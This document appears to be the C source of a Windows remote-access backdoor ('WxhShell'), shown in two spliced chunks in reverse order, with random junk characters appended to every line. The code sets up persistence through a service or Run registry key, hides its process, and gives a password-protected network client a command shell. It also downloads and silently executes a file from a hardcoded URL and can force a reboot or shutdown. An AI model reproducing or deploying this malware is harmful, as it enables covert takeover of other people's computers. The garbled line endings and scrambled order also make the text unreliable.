    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lEWF~L5=:  
    else { 6S GV}dAx  
    closesocket(wsh); 5v`[c+@F  
    ExitThread(0); (:P-ef$]C  
    } Q`kJ3b   
    break; v?=y9lEH@%  
    } #oX8EMqs<  
  // 获取shell 34gC[G=  
  case 's': { 4Lb!Au|Y  
    CmdShell(wsh); ~0 Ifg_G  
    closesocket(wsh); 4fyds< f  
    ExitThread(0); 8*iIJ  
    break; UTLuzm  
  } 5u89?-UD  
  // 退出 P`xQL  
  case 'x': { QU;bDNq,c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qG<3H!Z!ky  
    CloseIt(wsh); Lq6R_ud p  
    break;  UqwU3  
    } n,_q6/!  
  // 离开 $,)PO Z  
  case 'q': { h7"c_=w+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -/'_XR@1  
    closesocket(wsh); <(c_[o/  
    WSACleanup(); L HW\A8  
    exit(1); Qu;cl/&  
    break; 'OTQiI^t=  
        } * ",/7(  
  } fR$_=WWN>h  
  } ' %&gER  
{gkzo3  
  // 提示信息 !K[UJQ s\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qbsmB8rh  
} "!w#E6gU  
  } e"D%eFkDW  
N|@jHx y  
  return; o^ zrF  
} J6[V7R[\  
{KGEv%  
// shell模块句柄 tSVWO] <  
int CmdShell(SOCKET sock) [Xyu_I-c  
{ YstR T1  
STARTUPINFO si; (xdC'@&  
ZeroMemory(&si,sizeof(si)); e1OGGF%E n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n(h9I'V8)F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Lc{SR  
PROCESS_INFORMATION ProcessInfo; yt@7l]I  
char cmdline[]="cmd"; cTJi8f=g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -k8<LR3  
  return 0; mfqnRPZ  
} $-MVsa9>I  
BICG@  
// 自身启动模式 .mbqsb]&Y  
int StartFromService(void) Ls` [7w  
{ 0H/)wy2ym  
typedef struct d@XXqCR<  
{ J yO2P  
  DWORD ExitStatus; ) UCc!  
  DWORD PebBaseAddress; ]?6Pt:N2  
  DWORD AffinityMask; &.l^>#  
  DWORD BasePriority; hGy[L3 {  
  ULONG UniqueProcessId; 1.tAl6]  
  ULONG InheritedFromUniqueProcessId; vvI23!H  
}   PROCESS_BASIC_INFORMATION; 2Onp{,'}  
:o 8XG  
PROCNTQSIP NtQueryInformationProcess; ~NMx:PP  
)GYnQoV4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @tvz9N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g&*,j+$ }  
awv$ }EFo  
  HANDLE             hProcess; `FGYc  
  PROCESS_BASIC_INFORMATION pbi; y1)ZO_'  
@PT([1C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZuFcJ?8i  
  if(NULL == hInst ) return 0; V1&qgAy~  
L</k+a?H!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RY .@_{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .He}f,!f<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rb!y(&>v  
F )Iz:  
  if (!NtQueryInformationProcess) return 0; @C|nc&E2s  
Obf RwZh?q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w^"IR  
  if(!hProcess) return 0; "ze-Mb  
} J[Z)u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4_`(c1oA  
1Q/= s,{u  
  CloseHandle(hProcess); ^)y8X.iO  
Y b=77(Q V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=Q:{  
if(hProcess==NULL) return 0; =%B5TBG  
6_s(Kx>j  
HMODULE hMod; Nq%ir8hE  
char procName[255]; eaC%& k  
unsigned long cbNeeded; #;yxn.</  
`*l aUn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B[k=6EU8k  
,$} xPC  
  CloseHandle(hProcess); uGv|!UQw  
{Q}F.0Q  
if(strstr(procName,"services")) return 1; // 以服务启动 L>h|1ZK  
_U_O0@xi  
  return 0; // 注册表启动 !Ii[`H  
} hvGD`  
VsJiE0'%  
// 主模块 :r>^^tGT!  
int StartWxhshell(LPSTR lpCmdLine) 5X f]j=_  
{ ;I&XG  
  SOCKET wsl; j4<K0-?  
BOOL val=TRUE; Xhq7)/jp  
  int port=0; NS65F7<&  
  struct sockaddr_in door; P(3k1SM  
r'`7}@H*  
  if(wscfg.ws_autoins) Install(); MkL)  
ZfH +Iqd  
port=atoi(lpCmdLine); ua)jGif  
m"T}em#   
if(port<=0) port=wscfg.ws_port; !E_Zh*lgm  
u0GHcpOm  
  WSADATA data; `BQv;NtP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z\$M)e8n  
-V4%f{9T3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QgI[#d{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y^"@$   
  door.sin_family = AF_INET; p- a{6<h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~o>Gm>5!HH  
  door.sin_port = htons(port); Zwm/c]6`  
W#%s0EN<_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,3!$mQL=  
closesocket(wsl); *E*oWb]H  
return 1; {zWR)o .=  
} 9b/Dswxjx  
ESNI$[`  
  if(listen(wsl,2) == INVALID_SOCKET) { @ 5^nrB  
closesocket(wsl); -OSj<m<  
return 1; ^DN:.qQ  
} 8L,=Eap  
  Wxhshell(wsl); FieDESsX>  
  WSACleanup(); ^nK<t?KS  
x9,jXd  
return 0; F#>00b{Q  
gfs;?vP  
} zGFD71=#  
i84!x%|P  
// 以NT服务方式启动 <:V~_j6P0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tEL9hZzI  
{ veHe   
DWORD   status = 0; p]%di8&;N  
  DWORD   specificError = 0xfffffff; =C2sl;7~*  
K Ax=C}9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }b1FB<e]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ":_II[FPY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IH;sVT $M  
  serviceStatus.dwWin32ExitCode     = 0; p"#\E0GM  
  serviceStatus.dwServiceSpecificExitCode = 0; %rMCiz  
  serviceStatus.dwCheckPoint       = 0; =KUmvV*\  
  serviceStatus.dwWaitHint       = 0; a3>/B$pE  
{G Jl<G1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +]s,VSL5`  
  if (hServiceStatusHandle==0) return; S~i9~jA  
>UMxlvTg&  
status = GetLastError(); 4SZ,X^]I>  
  if (status!=NO_ERROR) 1vxRhS&FY  
{ V D~5]TQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \4L ur  
    serviceStatus.dwCheckPoint       = 0; 0eNdKE  
    serviceStatus.dwWaitHint       = 0; %W"u4 NT7  
    serviceStatus.dwWin32ExitCode     = status; u MEM7$o  
    serviceStatus.dwServiceSpecificExitCode = specificError; vY-CXWC7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ dFE.4  
    return; g5|~ i{"0  
  } oGRk/@  
=nGFLH6)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HbegdbTJ  
  serviceStatus.dwCheckPoint       = 0; 3l~+VBR_  
  serviceStatus.dwWaitHint       = 0; BYB4- ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $G-<kC}8:  
} KGYbPty}  
?1D!%jfi  
// 处理NT服务事件,比如:启动、停止 :Ln)j%&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |gA@WV-%  
{ ' @RF  
switch(fdwControl) hO]F\0+  
{ b3^:Bh9  
case SERVICE_CONTROL_STOP: `*3A7y  
  serviceStatus.dwWin32ExitCode = 0; z_!IA ] v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ? `p/jA  
  serviceStatus.dwCheckPoint   = 0; /)6T>/  
  serviceStatus.dwWaitHint     = 0; &t[[4+Qt  
  { `9co7[Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WM'!|lg  
  } d ItfR'$  
  return; orFwy!  
case SERVICE_CONTROL_PAUSE: z'U.}27&o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vN'+5*Cgy6  
  break; !fzS' pkk.  
case SERVICE_CONTROL_CONTINUE: !+%gJiu:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LN|(Z*  
  break; 5rows]EJJl  
case SERVICE_CONTROL_INTERROGATE: >$JE!.p%o  
  break; C< c6Ub  
}; y>EW,%leC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |%C2 cx  
} XM`GK>*aC(  
?$|tT\SFV  
// 标准应用程序主函数 0f6o0@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d}\]!x3t  
{ ~.: { Ik]  
:C*}Yg  
// 获取操作系统版本 ]E-/}Ysz  
OsIsNt=GetOsVer(); >qo!#vJc a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?6CLUu|7n  
w7Yu} JY^  
  // 从命令行安装 KL'1)G"OH  
  if(strpbrk(lpCmdLine,"iI")) Install(); QPVi& *8_  
N4vcd=uG#  
  // 下载执行文件 EB}B75)x  
if(wscfg.ws_downexe) { a;xeHbE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CP J21^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;k!.ey $S  
} Kk8wlC  
+MX~1RU+  
if(!OsIsNt) { ^I!Z)/  
// 如果时win9x,隐藏进程并且设置为注册表启动 |M;Nq@bRv  
HideProc(); gw)4P tb!  
StartWxhshell(lpCmdLine); ,D;8~l lM  
} \}$|Uo$O  
else dPEDsG0$a  
  if(StartFromService()) ^3dc#5]Xf  
  // 以服务方式启动 I{89chi  
  StartServiceCtrlDispatcher(DispatchTable); q`1tUd4G  
else #kv9$  
  // 普通方式启动 8g0 #WV  
  StartWxhshell(lpCmdLine); mD9Iao%4~  
] `$6=) _X  
return 0; IU8zidn&  
} @rYZ0`E9  
+j 9+~  
N|yA]dg[  
uVqc:Q"  
=========================================== jlBsm'M<m  
M7/5e3  
NCKR<!(  
D,cD]tB2  
p%$r\G-x  
bo=H-d|  
" ~rV$.:%va  
dHY@V> D'-  
#include <stdio.h> PA^*|^;Xh  
#include <string.h> QZVyU8j3  
#include <windows.h> HIc;Lc8$  
#include <winsock2.h> Z;uKnJh  
#include <winsvc.h> 7KlL%\  
#include <urlmon.h> 8'Q+%{?1t  
XZOBK^,5^B  
#pragma comment (lib, "Ws2_32.lib") C1;uAw?\  
#pragma comment (lib, "urlmon.lib") <9]"p2  
jA,y.(mR  
#define MAX_USER   100 // 最大客户端连接数 m~+.vk  
#define BUF_SOCK   200 // sock buffer r ~{nlLO}  
#define KEY_BUFF   255 // 输入 buffer -U2Su|:\N8  
(]q ([e  
#define REBOOT     0   // 重启 <#:iltO  
#define SHUTDOWN   1   // 关机 oO tjG3B({  
&E]) sJ0  
#define DEF_PORT   5000 // 监听端口 %Ik5|\ob?  
JY c:@\   
#define REG_LEN     16   // 注册表键长度 s]m]b#1!r  
#define SVC_LEN     80   // NT服务名长度 12 )  
rPB Ju0D"  
// 从dll定义API t%mi#Gh(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e)H FI|>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wf  ]Wm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s>DFAu!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \*MZ 1Q*x  
L"YQji!  
// wxhshell配置信息 Zg_b(ks  
struct WSCFG { \l=A2i7TQ  
  int ws_port;         // 监听端口 vVBWhY]  
  char ws_passstr[REG_LEN]; // 口令 }!K #  
  int ws_autoins;       // 安装标记, 1=yes 0=no gX!K%qJBg  
  char ws_regname[REG_LEN]; // 注册表键名 bmHj)^v 5]  
  char ws_svcname[REG_LEN]; // 服务名 A5R"|<UPR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `m'RvUc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mCnl@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .B^ tEBGVD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]4O!q}@Cd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3SY1>}(Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {%wrx'<  
|~76dxU  
}; I_B%F#X)  
@u+LF]MY  
// default Wxhshell configuration m<n+1  
struct WSCFG wscfg={DEF_PORT, s3Bo'hGxG  
    "xuhuanlingzhe", `V/kM0A5  
    1, x<t ?Yc9  
    "Wxhshell", 67/@J)z0%  
    "Wxhshell", pp|$y\ZzB  
            "WxhShell Service", 6U).vg<  
    "Wrsky Windows CmdShell Service", MZ)lNU l  
    "Please Input Your Password: ", R UCUEo63  
  1, =?CIC%6m  
  "http://www.wrsky.com/wxhshell.exe", .P8m%$'N  
  "Wxhshell.exe" k'X"jon  
    }; Oh}52=  
}G(#jOYk  
// 消息定义模块 V~Guw[RA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =8vwaJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N[){yaj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O&E1(M|*>  
char *msg_ws_ext="\n\rExit."; +, p  
char *msg_ws_end="\n\rQuit."; zp,f}  
char *msg_ws_boot="\n\rReboot..."; cQ1oy-paD  
char *msg_ws_poff="\n\rShutdown..."; 9 qqy(H  
char *msg_ws_down="\n\rSave to "; x4 4)o:  
%Kd8ZNv  
char *msg_ws_err="\n\rErr!"; :-ax5,J>q  
char *msg_ws_ok="\n\rOK!"; z,I7 PY& G  
"Yq-s$yBi  
char ExeFile[MAX_PATH]; q~_Nv5r%O  
int nUser = 0; CZxQz  
HANDLE handles[MAX_USER]; no)Spo'  
int OsIsNt; c{V0]A9VF  
+\\*Iy'xK  
SERVICE_STATUS       serviceStatus; Apa)qRJd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :&#hjeltt  
-r/#20Y  
// 函数声明 .A&Ey5  
int Install(void); +2|X 7wA  
int Uninstall(void); >"5^]o2?~l  
int DownloadFile(char *sURL, SOCKET wsh); zPH1{|H+l  
int Boot(int flag); uy~5!i&  
void HideProc(void); @@'zMV%  
int GetOsVer(void); `m`jX|`  
int Wxhshell(SOCKET wsl); *x)WF;(]g  
void TalkWithClient(void *cs); M5: f^  
int CmdShell(SOCKET sock); k_-=:(Z  
int StartFromService(void); lVARe3#  
int StartWxhshell(LPSTR lpCmdLine); gE`G3kgn{  
Ej F<lw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lk2F]@_kJH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vXq=f:y4  
PF1!aAvVb  
// 数据结构和表定义 Kg~<h B6  
SERVICE_TABLE_ENTRY DispatchTable[] = `a3q)}*Y  
{ %*oz~,i  
{wscfg.ws_svcname, NTServiceMain}, E )09M%fe  
{NULL, NULL} cx1U6A+  
}; Op~sR^ez  
x,5$VLs\+  
// 自我安装 b+[9) B)a?  
int Install(void) />FrMz8;(  
{ V`pTl3  
  char svExeFile[MAX_PATH]; |t4k&Dkx`  
  HKEY key; A\i /@x5#  
  strcpy(svExeFile,ExeFile); E`=y9r* Z  
gt';_  
// 如果是win9x系统,修改注册表设为自启动 9c=Y+=<  
if(!OsIsNt) { 8}{';k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { agM.-MK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); slOki|p;  
  RegCloseKey(key); 1AjsAi,7;2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JihI1C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iL/(WAB_od  
  RegCloseKey(key); >XSe  
  return 0; ~SUA.YuF  
    } L<1"u.3Z`}  
  } 9bMM-~  
}  !|9$  
else { (W5E\hjJ  
5#80`/w^U  
// 如果是NT以上系统,安装为系统服务 h<Yn0(.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &oWWc$  
if (schSCManager!=0) Hm-+1Wx  
{ B(:Kw;r?  
  SC_HANDLE schService = CreateService 6pLB`1[v  
  ( lqF{Y<l  
  schSCManager, o~NeS|a  
  wscfg.ws_svcname, l(v$+  
  wscfg.ws_svcdisp, l#\z3"b  
  SERVICE_ALL_ACCESS, !6@xX08z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h$f/NSct2  
  SERVICE_AUTO_START, Mpk^e_9`<  
  SERVICE_ERROR_NORMAL, wf=#w}f  
  svExeFile, uZ]B?Z%y#  
  NULL, +LV'E#h!Q  
  NULL, 2GqPS  
  NULL, 28f-8B  
  NULL, &VY;Al  
  NULL = <O{t#]  
  ); +y6|Nq  
  if (schService!=0) tmRD$O%:  
  { cEsBKaN  
  CloseServiceHandle(schService); 79s6U^vv"  
  CloseServiceHandle(schSCManager); (e= ksah3>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s|pb0  
  strcat(svExeFile,wscfg.ws_svcname); ~XsS00TL`G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q-o=lU"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #_2V@F+,  
  RegCloseKey(key); $\81WsL '  
  return 0; Eh!%Ne O  
    } AU^Wy|i5Q  
  } ~H@':Mms.h  
  CloseServiceHandle(schSCManager); cQ6[o"j.  
} "*RCV6{  
} l YH={jJ  
]1)@.b;QR  
return 1; hO;bnt%(  
} >:W)9o  
8kW9.   
// 自我卸载 D8m?`^Zz  
int Uninstall(void) smIZ:L %  
{ "sAR< 5b  
  HKEY key; 7/PHg)&  
a}i{b2B  
if(!OsIsNt) { '8*gJ7]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $#]?\psf  
  RegDeleteValue(key,wscfg.ws_regname); Qc[[@=S%  
  RegCloseKey(key); Yo| H`m,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mH;Z_ME"  
  RegDeleteValue(key,wscfg.ws_regname); s.=)p"pTd  
  RegCloseKey(key); Kzo{L  
  return 0; :{_Or'L  
  } q E$ .a[  
} zesEbR)j  
} uqTOEHH7  
else { kgr:8 5  
O3bK>9<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Jm{K*&8Q  
if (schSCManager!=0) oxO}m7 ULH  
{ oq8~PTw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6Wc eDY  
  if (schService!=0) j"94hWb  
  { 4fzq C)  
  if(DeleteService(schService)!=0) { xBgf)'W_Z  
  CloseServiceHandle(schService); y^;qT_)#  
  CloseServiceHandle(schSCManager); A'[A!NL%  
  return 0; R^1= :<)C  
  } OiM{@  
  CloseServiceHandle(schService); &=$8 v"&^  
  } ngeX+@  
  CloseServiceHandle(schSCManager); EF"ar  
} T?AGQcG  
} Y1`.  
s$H5W`3  
return 1; ;lYO)Z`3\  
} }s}9@kl;&  
&CUkR6  
// 从指定url下载文件 >x2T '  
int DownloadFile(char *sURL, SOCKET wsh) B{)Du :)  
{ ,Yi =s;E  
  HRESULT hr; I=(O,*+PQ  
char seps[]= "/"; :6HMb^4  
char *token; JYv&It  
char *file; ZmmuP/~2K  
char myURL[MAX_PATH]; c}QQ8'_  
char myFILE[MAX_PATH]; ni~45WX3  
oC4rL\d{  
strcpy(myURL,sURL); (/k,q  
  token=strtok(myURL,seps); (]7@0d88  
  while(token!=NULL) 5Qy,P kje  
  { f1=8I_>=  
    file=token; uUc[s"\  
  token=strtok(NULL,seps); -F8%U:2a  
  } 3g-}k  
tCc}}2bC&  
GetCurrentDirectory(MAX_PATH,myFILE); h$ZF[Xbfe  
strcat(myFILE, "\\"); _^P>@ ^  
strcat(myFILE, file); 5+ fS$Q  
  send(wsh,myFILE,strlen(myFILE),0); Cs]xs9  
send(wsh,"...",3,0); jDXmre?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ORW'(:Z  
  if(hr==S_OK) ^+GN8LUs  
return 0; ?7G[`@^Y  
else p%3';7W\  
return 1; #(  kT  
b]|7{yMV  
}  K[?wP>s  
FfD2 &(-R  
// 系统电源模块 29av8eW?3  
int Boot(int flag) PY>j?otD  
{ E+~~d6nB  
  HANDLE hToken; jWU)y)$  
  TOKEN_PRIVILEGES tkp; ?nt6vqaV  
$mlsFBd  
  if(OsIsNt) { =A!I-@]q<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 57[O)5u.+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JRodYXjE  
    tkp.PrivilegeCount = 1; l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ImF/RKI~ "  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u[dI81`  
if(flag==REBOOT) { tGf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [e*8hbS  
  return 0; 5,mb]v0k  
} E4{^[=}  
else { W0nRUAo[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BRW   
  return 0; QTLOP~^  
} =j}00,WH  
  } Ur@'X-  
  else { FD`V39##  
if(flag==REBOOT) { IzL yn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TnKe"TA|9  
  return 0; 3 F4I{L  
} GQ[\R&]q<  
else { /#Xz+#SqY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9wI1/>  
  return 0; RWoa'lnu  
} C"F(kgL  
} 8<g5.$xyz  
#cmj?y()  
return 1; 7,(:vjIXd  
} BGA.8qWR4  
\?GMtM,  
// win9x进程隐藏模块 3-Ti'xM  
void HideProc(void) .IYE"0)wJ  
{ '7E?|B0],  
QzV:^!0J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QiZThAe  
  if ( hKernel != NULL ) a"ht\v}1  
  { gx9H=c>/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dwmj*+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jmAWto}.  
    FreeLibrary(hKernel); G_X'd  
  } ci*Z9&eS+  
X"[c[YT!%[  
return; >Ks|yNJ  
} WP% {{zR$  
&W)+8N,L  
// 获取操作系统版本 5Du>-.r  
int GetOsVer(void) K7[AiU_I  
{ X.T\=dm%v  
  OSVERSIONINFO winfo; =6Kv`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =S[FJaIu7  
  GetVersionEx(&winfo); Z*vpQBbu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }KaCf,O  
  return 1; ReB(T7Vk=  
  else hV>4D&<  
  return 0; we H@S  
} cpF1XpvT  
-|k&L}\OB0  
// 客户端句柄模块 S4{Mu(^xT  
int Wxhshell(SOCKET wsl) %];h|[ax]  
{ 1 ~B<  
  SOCKET wsh; ;1R?9JN"  
  struct sockaddr_in client; X8,7_D$  
  DWORD myID; %g]$Vfpy  
?LV-W  
  while(nUser<MAX_USER) R!_8jD:$  
{ rKy-u  
  int nSize=sizeof(client); V$-~%7@>;9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^ =/?<C4  
  if(wsh==INVALID_SOCKET) return 1; !HdvCYB>  
bQ^DX `o6P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q2S!m6!  
if(handles[nUser]==0) kY'<u  
  closesocket(wsh); |Uy e>%*}4  
else 0U~;%N+lv  
  nUser++; _Ra<|NVQh  
  } #4P3xa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j*eUF-J1  
]8xc?*i8  
  return 0; c4ZuW_&:  
} T<TcV9vM  
zldfRo\wl  
// 关闭 socket )y%jLiQv  
void CloseIt(SOCKET wsh) ]< s\V-y  
{ R%Ui6dCLo  
closesocket(wsh); `FzYvd"N  
nUser--; m{b ZRkt  
ExitThread(0); jSwtf  
} 5q(]1|Se i  
Z#OhYm+y  
// 客户端请求句柄  /i-xX*  
void TalkWithClient(void *cs) WNn[L=f  
{ #hD}S~  
.)"_Q/q  
  SOCKET wsh=(SOCKET)cs; S1 EEASr!}  
  char pwd[SVC_LEN]; [5? 4c'Ev  
  char cmd[KEY_BUFF]; (xZr ]v ]U  
char chr[1]; Ge^zX$.'  
int i,j; 0kNe?Xi  
=9qGEkd3  
  while (nUser < MAX_USER) { lC'{QUC  
u0bfX,e2U  
if(wscfg.ws_passstr) { .>mH]/]m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ibd$%;bX3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JmU<y  
  //ZeroMemory(pwd,KEY_BUFF); g.B%#bfg  
      i=0; j4~7akG  
  while(i<SVC_LEN) { m,W) N9 M  
>lD;0EN  
  // 设置超时 (O)\#%,@R  
  fd_set FdRead; Q00R<hu@F  
  struct timeval TimeOut; uipq=Yp.  
  FD_ZERO(&FdRead); Usa+b A  
  FD_SET(wsh,&FdRead); jOUK]>ox:  
  TimeOut.tv_sec=8; DA<F{n.Z:  
  TimeOut.tv_usec=0; YSR mt/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !_CX2|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Awu$g.  
S  ~@r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {]wIM^$6+  
  pwd=chr[0]; ~7dM!g{W  
  if(chr[0]==0xd || chr[0]==0xa) { G'ij?^?  
  pwd=0; o!aLZ3#X  
  break; ,HFs.9#&B  
  } T>}0) s  
  i++; L'zE<3O'3  
    } uije#cj#O  
y[: ~CL  
  // 如果是非法用户,关闭 socket /@ y;iJk;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); si_W:mLF{a  
} c |>=S)|  
21r= = H$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T vrk^!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (GCG/8s  
&4,WG  
while(1) { |u@+`4o  
:.*HQt9N  
  ZeroMemory(cmd,KEY_BUFF); \7pipde  
~9Z h,p ;  
      // 自动支持客户端 telnet标准   >\V6+$cNp  
  j=0; ]UDd :2yt  
  while(j<KEY_BUFF) { q[7CPE0n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9<yAQ?7 L  
  cmd[j]=chr[0]; \+-zRR0  
  if(chr[0]==0xa || chr[0]==0xd) { +'%@!  
  cmd[j]=0; bS>R5*Zp  
  break; HF"Eys  
  } >~_J q|KBB  
  j++; 6+.>5e  
    } a:85L!~:l  
n.*3,4.]  
  // 下载文件 PU W[e%  
  if(strstr(cmd,"http://")) { U^MuZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .%q$d d>>  
  if(DownloadFile(cmd,wsh)) $@_{p*q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 93j{.0]X  
  else xq}-m!nX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[yr=X  
  } -."kq.m*  
  else { dL-i)F  
6^)rv-L~5y  
    switch(cmd[0]) { Ly;I,)w  
  i}v9ut]B  
